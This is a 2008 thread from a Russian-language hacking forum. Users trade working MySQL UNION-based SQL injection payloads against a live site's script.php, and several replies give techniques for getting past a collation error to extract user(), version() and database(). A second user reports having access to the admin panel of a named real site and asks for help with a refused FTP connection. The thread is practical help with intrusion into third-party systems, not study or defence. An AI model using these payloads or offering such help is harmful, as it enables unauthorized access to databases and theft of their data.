ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.08.2008, 06:55
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
Пытаюсь сделать
Код:
script.php?id=199'union+select+1,2,user(),4,5,6,7,8,9,10/*
а вылазит:
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
SELECT *, UNIX_TIMESTAMP(`itemdate`) AS `unix_time` FROM `umsec_news_items` WHERE `id`='199'union select 1,2,user(),4,5,6,7,8,9,10/*'
Ладно, кодирую в hex
Код:
script.php?id=-113'+union+select+1,2,0x76657273696f6e2829,4,5,6,7,8,9,10/*
А там где должна быть инфа о версии показывает тупо слово version()
Можно где-нить об етом почитать или что-нить узнать подробнее?
Последний раз редактировалось USAkid; 04.08.2008 в 07:06..
|
|
|
04.08.2008, 07:20
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
USAkid
aes_decrypt(aes_encrypt(concat_ws(0x3a,user(),vers ion(),database()),0x71),0x71)
Можно где-нить об етом почитать или что-нить узнать подробнее?
про это уже миллион раз писали на ачате..
Последний раз редактировалось aka PSIH; 04.08.2008 в 07:23..
|
|
|
|
04.08.2008, 07:21
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
USAkid
script.php?id=199'union+select+1,2,user(),4,5,6,7, 8,9,10/*
или использовать конструкцию unhex(hex())
script.php?id=199'union+select+1,2,unhex(hex(user( ))),4,5,6,7,8,9,10/*
кстати намного удобнее чем aes_decrypt(aes_encrypt,0x71),0x71)
Последний раз редактировалось sabe; 04.08.2008 в 07:25..
|
|
|
|
04.08.2008, 07:25
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167
Репутация:
100
|
|
Зачем в Hex кодировать? У вас проблемы с кодировкой.
Попробуйте вот это:
aes_decrypt(aes_encrypt(любое твоё слово,0x71),0x71)
Или в
convert(version() using latin1)
|
|
|
|
04.08.2008, 10:47
|
|
Banned
Регистрация: 17.07.2008
Сообщений: 14
Провел на форуме:
81162
Репутация:
27
|
|
проще всего имхо cast(version()+as+binary)
|
|
|
|
04.08.2008, 13:29
|
|
Banned
Регистрация: 20.05.2008
Сообщений: 281
Провел на форуме:
3200135
Репутация:
575
|
|
имею доступ к панели управления http://www.neo-nvk.ru/newsphp/newsok/admin.php
а на фтп немогу приконектится. конектится вроде нормально... пароль и логин признаёт.. а потом срывается
Response: 550 Permission denied.
Error: Could not retrieve directory listing
|
|
|
|
04.08.2008, 13:32
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
*eXe*
по IP блокирует 
|
|
|
|
04.08.2008, 13:37
|
|
Banned
Регистрация: 20.05.2008
Сообщений: 281
Провел на форуме:
3200135
Репутация:
575
|
|
aka PSIH
а разблокируется только с админки?
|
|
|
|
04.08.2008, 14:02
|
|
Banned
Регистрация: 17.07.2008
Сообщений: 14
Провел на форуме:
81162
Репутация:
27
|
|
омг, это с каких пор штацес блокирует конект по фтп? aka PSIH, вы бредите
|
|
|
|
04.08.2008, 14:05
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
мля, сорри сорри )))
прочитал только первую и последние строчки...
тогда
550
Запрошенная функция не реализована, файл не доступен, например, не найден
/me стыдно 
Последний раз редактировалось aka PSIH; 04.08.2008 в 14:10..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
